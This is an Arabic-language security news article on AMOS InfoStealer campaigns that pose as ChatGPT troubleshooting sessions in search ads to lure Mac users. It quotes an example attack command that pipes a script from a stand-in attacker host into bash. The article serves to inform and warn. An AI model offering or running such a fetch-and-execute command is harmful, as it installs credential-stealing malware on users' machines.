تنتشر حملات برمجيات سرقة المعلومات المعروفة باسم AMOS InfoStealer، مستغلةً الثقة المتزايدة في ChatGPT لاستهداف أجهزة Mac. تستغل هذه الهجمات المتقدمة واجهة الدردشة الشهيرة لتقديم مساعدة مزيفة لمشاكل تقنية، مما يوقع المستخدمين في فخ برمجيات خبيثة.
يبحث المستخدمون الذين يواجهون مشاكل، خاصة تلك المتعلقة بالصوت على أجهزتهم، عن حلول عبر الإنترنت. غالباً ما يقودهم البحث إلى نتائج إعلانية مدعومة على محركات البحث، والتي تظهر كجلسات دردشة طبيعية مع ChatGPT. الهدف هو خداع المستخدمين ودفعهم لتنفيذ أوامر تبدو كحلول.
حملات AMOS InfoStealer والخداع عبر ChatGPT
تعتمد هذه الهجمات على مزيج من الهندسة الاجتماعية والاستغلال التقني، حيث تقدم حلاً يبدو روتينياً وسهل التنفيذ. بدلاً من نوافذ تثبيت وهمية أو صفحات تصيد واضحة، يتم تقديم الأوامر مباشرة ضمن واجهة ChatGPT الموثوقة.
كشف باحثو الأمن السيبراني في Kroll أن هذه الآلية تستخدم لنشر برمجية AMOS InfoStealer على نقاط نهاية Mac المستهدفة. يتم دفع هذه العروض المخادعة غالباً عبر إعلانات Google، مما يضع جلسة ChatGPT المزيفة في أعلى نتائج البحث.
يُعد Domain (اسم النطاق) المستخدم في هذه الهجمات شرعياً غالباً، مما يزيد من صعوبة اكتشاف الخطر من قبل المستخدم العادي. بعد أن يكتسب المهاجم ثقة المستخدم، فإن عملية نسخ ولصق واحدة في نافذة Terminal (الطرفية) تكون كافية للإضرار بالجهاز.
آلية الإصابة وتنفيذ الأوامر الخبيثة
تبع محللو Kroll الإصابة الأولية إلى أمر Terminal تم تقديمه من قبل جلسة ChatGPT المزيفة. يعمل هذا الأمر كمؤشر على الاختراق (IOC)، ويدفع نظام macOS لتنزيل وتشغيل سكربت عن بعد. يتوافق هذا النمط مع تقنيات MITRE ATT&CK الخاصة بتنفيذ المستخدم ونقل أدوات الدخول.
عادةً ما يبدو الأمر الخبيث كالتالي:
curl -s https://attacker-example[.]com/installer.sh | bashعند تنفيذه، يقوم هذا الأمر المكون من سطر واحد بسحب سكربت shell عبر HTTPS. لا يقوم بحفظ أي شيء مرئي للمستخدم، بل يقوم بتشغيله ضمن نفس جلسة Terminal. يمكن للسكربت بعد ذلك تثبيت AMOS InfoStealer، وإنشاء آلية استمرارية، والبدء في سرقة البيانات.
تكمن خطورة AMOS InfoStealer في قدرته على جمع بيانات المتصفح، وبيانات الاعتماد، وملفات تعريف الارتباط للجلسات، وأي معلومات سرية أخرى مخزنة على أجهزة Mac المصابة. يمكن استخدام البيانات المسروقة لاحقاً في الاستيلاء على الحسابات، أو التحرك الجانبي داخل الشبكات، أو بيعها في الأسواق غير المشروعة، مما يشكل تهديداً كبيراً للأفراد والمؤسسات على حد سواء.